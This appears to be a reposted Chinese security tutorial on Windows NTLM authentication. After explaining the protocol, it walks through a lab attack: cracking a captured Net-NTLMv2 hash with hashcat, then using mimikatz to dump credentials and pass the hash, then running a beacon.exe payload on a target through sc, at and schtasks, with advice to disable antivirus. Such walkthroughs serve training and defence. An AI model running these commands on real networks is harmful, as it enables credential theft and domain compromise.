windows认证机制_NTLM

2023-10-12 03:20
文章标签 windows 认证 机制 ntlm

本文主要是介绍windows认证机制_NTLM,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

      • 概念
      • 本地认证 NTLM
      • LM
      • NTML
      • 原理
      • 网络认证 Net NTLM
      • 实际测试
      • 利用
        • hash传递浏览上传⽂件
        • 使用 mimikatz
      • hash传递获取域控RDP
      • mimikatz工具使用案例

概念

原文参考:xiu --》http://www.xiusafe.com/

域渗透就是基于 windows 域环境的渗透,而域渗透涉及到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解 Windows 认证机制的原因之一

Windows 的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)
早期SMB协议铭⽂在⽹络上传输数据,后来诞⽣了LM验证机制,LM机制由于过于简
单,微软提出了WindowsNT挑战/响应机制,这就是NTLM

本地认证 NTLM

本地认证十分简单:用户输入密码,系统收到密码后将用户输入的密码计算成 NTLM Hash,然后与 sam 数据库(% SystemRoot%\system32\config\sam)中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败

NTLM 哈希是一种单向哈希算法,Windows 将用户的密码计算成 NTLM 哈希之后才存储在电脑中

大致的运算流程为:

用户密码->HEX编码->Unicode编码->MD4

LM

在这里插入图片描述

NTML

在这里插入图片描述

本地认证中用来处理用户输入密码的进程即 lsass.exe, 密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash
与 sam 进行比对

在渗透测试中,通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中获得所有用户的 hash,通过 Mimikatz 读取 lsass.exe 进程能获得已登录用户的 NTLM hash

原理

哈希传递是能够在不需要账号明⽂密码的情况下完成认证的⼀个技术,⽐如NTLM
Hash、 LM Hash都不需要明⽂密码因此都可以被称为Hash传递攻击。
NTLM验证靠HASH值
1.获得⼀台域主机的权限
2.Dump内存获得⽤⼾hash
3.通过pass the hash尝试登录其他主机
4.继续搜集hash并尝试远程登录
5.直到获得域管理员账⼾hash,登录域控,最终成功控制整个域

1、client发送账户名user到server
2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user
对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将
challenge发送给client
3、client接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密
challenge生成response,发送response给server
4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形
势与server生成的net-ntlm hash一个格式

通过认证流程我们不难看出,只要有NTLM哈希在⼿,哪怕不知道明⽂密码也可以完
成NTLM的认证

网络认证 Net NTLM

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
Net NTLM 的认证过程分为三步,也叫挑战响应机制:
1 协商
2质询
3 验证
协商:双方确定使用的协议版本,在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法

所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash
质询:挑战(Chalenge)/ 响应(Response)认证机制的核

  1. 客户端向服务器端发送用户信息 (用户名) 请求
  1. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个 16 位的随机数,被称之为 “Challenge”, 然后使用登录用户名对应的 NTLM Hash 加密 Challenge (16 位随机字符), 生成 Challenge1 保存在内存中。同时,生成 Challenge1 后,将 Challenge (16 位随机字符) 发送给客户端。
  1. 客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的 NTLM Hash,然后使用这个 NTLM Hash 加密 Challenge 生成 Response,然后将 Response 发送至服务器端。

验证:在质询完成后,验证结果,是认证的最后一步。
在这里插入图片描述

在这里插入图片描述

服务端收到客户端发送的 Response 后,与之前保存在内存中的 Challenge 比较,如果相等认证通过

其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)

实际测试

远程机器:192.168.217.129
用户名:administrator
密码:hongrisec@2020
本地:192.168.217.1

在这里插入图片描述
抓包发现前 4 个包是协商协议版本,从 smb 转为 smbv2
在这里插入图片描述
本地发送质询包,远程机器响应携带 Ntlm Server Challenge 为

8f69a97378430a53

在这里插入图片描述
查看本地发送的第二个质询包,加密后的 challenge 为

0822a40326fd8eab

在这里插入图片描述
Response 数据为

fafc5895fbeff4fb303acf5c74b1424d01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000

下面,使用 Hashcat 对该 Net-NTLM hash 进行破解
NTLMv2 的格式为:

username::domain:challenge:HMAC-MD5:blob注:challenge为NTLM Server Challenge,domian由数据包内容获得(IP或者机器名)HMAC-MD5对应数据包中的NTProofStr

构造的数据如下:

administrator::god.org:8f69a97378430a53:fafc5895fbeff4fb303acf5c74b1424d:01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000新建字典添加 hongrisec@2020Hashcat 参数如下:```bash
hashcat -m 5600 administrator::god.org:8f69a97378430a53:fafc5895fbeff4fb303acf5c74b1424d:01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000 password.list -o result.txt --force

说明:

-m:hash-type,5600 对应 NetNTLMv2,详细参数可查表:https://hashcat.net/wiki/doku.php?-o:输出文件 字典文件为 password.list–force 代表强制执行,测试系统不支持 Intel OpenCL成功破解出登录的明文密码,输出如下图

在这里插入图片描述
成功破解出密码 hongrisec@2020

工作组环境和域环境下 Net NTLM 认证过程因为有 DC(域控制器)的参与流程略有差异,不过不影响进行哈希传递攻击

利用

hash传递浏览上传⽂件

注意:

当域内的⽤⼾想要访问域中的某个服务时,输⼊⽤⼾名和密码访问,本机kerberos服
务会向KDC的AS认证服务发送⼀个AS-REQ认证请求。该请求包中包含: 请求的⽤⼾
名、客⼾端主机名、加密类型 和 Authenticator(⽤⼾NTLM Hash加密的时间戳)以及
⼀些其他信息
在AS-REQ阶段,是⽤⽤⼾密码Hash加密的Authenticator,所以也就造成了hash传
递。我们只需要获取域⽤⼾Hash,同时⽬标机器开放smb服务,就可以进⾏Hash传
递攻击。

使用 mimikatz

注意mimikatz(猕猴桃)容易崩溃,操作过程要快

privilege::debug 提升权限(注:需以管理员权
限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息# pth指passha要进行传递(test.com)
sekurlsa::pth /user:administrator /domain:域名  /ntlm:4026ebdb8a9805d4a7b341a23077275a 弹出新窗口
dir \\10.10.10.254\c$

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath= "c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

hash传递获取域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

在这里插入图片描述0
如果域控这个位置是灰⾊那就不允许这种⽅式登录

mimikatz工具使用案例

此工具没有免杀,关闭所有的杀毒软件
在这里插入图片描述

这篇关于windows认证机制_NTLM的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/192896

相关文章

Spring排序机制之接口与注解的使用方法

《Spring排序机制之接口与注解的使用方法》本文介绍了Spring中多种排序机制,包括Ordered接口、PriorityOrdered接口、@Order注解和@Priority注解,提供了详细示例... 目录一、Spring 排序的需求场景二、Spring 中的排序机制1、Ordered 接口2、Pri

Windows设置nginx启动端口的方法

《Windows设置nginx启动端口的方法》在服务器配置与开发过程中,nginx作为一款高效的HTTP和反向代理服务器,被广泛应用,而在Windows系统中,合理设置nginx的启动端口,是确保其正... 目录一、为什么要设置 nginx 启动端口二、设置步骤三、常见问题及解决一、为什么要设置 nginx

java如何通过Kerberos认证方式连接hive

《java如何通过Kerberos认证方式连接hive》该文主要介绍了如何在数据源管理功能中适配不同数据源(如MySQL、PostgreSQL和Hive),特别是如何在SpringBoot3框架下通过... 目录Java实现Kerberos认证主要方法依赖示例续期连接hive遇到的问题分析解决方式扩展思考总

MySQL 缓存机制与架构解析(最新推荐)

《MySQL缓存机制与架构解析(最新推荐)》本文详细介绍了MySQL的缓存机制和整体架构,包括一级缓存(InnoDBBufferPool)和二级缓存(QueryCache),文章还探讨了SQL... 目录一、mysql缓存机制概述二、MySQL整体架构三、SQL查询执行全流程四、MySQL 8.0为何移除查

一文详解Java Condition的await和signal等待通知机制

《一文详解JavaCondition的await和signal等待通知机制》这篇文章主要为大家详细介绍了JavaCondition的await和signal等待通知机制的相关知识,文中的示例代码讲... 目录1. Condition的核心方法2. 使用场景与优势3. 使用流程与规范基本模板生产者-消费者示例

在 Windows 上安装 DeepSeek 的完整指南(最新推荐)

《在Windows上安装DeepSeek的完整指南(最新推荐)》在Windows上安装DeepSeek的完整指南,包括下载和安装Ollama、下载DeepSeekRXNUMX模型、运行Deep... 目录在www.chinasem.cn Windows 上安装 DeepSeek 的完整指南步骤 1:下载并安装

一文带你理解Python中import机制与importlib的妙用

《一文带你理解Python中import机制与importlib的妙用》在Python编程的世界里,import语句是开发者最常用的工具之一,它就像一把钥匙,打开了通往各种功能和库的大门,下面就跟随小... 目录一、python import机制概述1.1 import语句的基本用法1.2 模块缓存机制1.

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

Redis缓存问题与缓存更新机制详解

《Redis缓存问题与缓存更新机制详解》本文主要介绍了缓存问题及其解决方案,包括缓存穿透、缓存击穿、缓存雪崩等问题的成因以及相应的预防和解决方法,同时,还详细探讨了缓存更新机制,包括不同情况下的缓存更... 目录一、缓存问题1.1 缓存穿透1.1.1 问题来源1.1.2 解决方案1.2 缓存击穿1.2.1

Java如何通过反射机制获取数据类对象的属性及方法

《Java如何通过反射机制获取数据类对象的属性及方法》文章介绍了如何使用Java反射机制获取类对象的所有属性及其对应的get、set方法,以及如何通过反射机制实现类对象的实例化,感兴趣的朋友跟随小编一... 目录一、通过反射机制获取类对象的所有属性以及相应的get、set方法1.遍历类对象的所有属性2.获取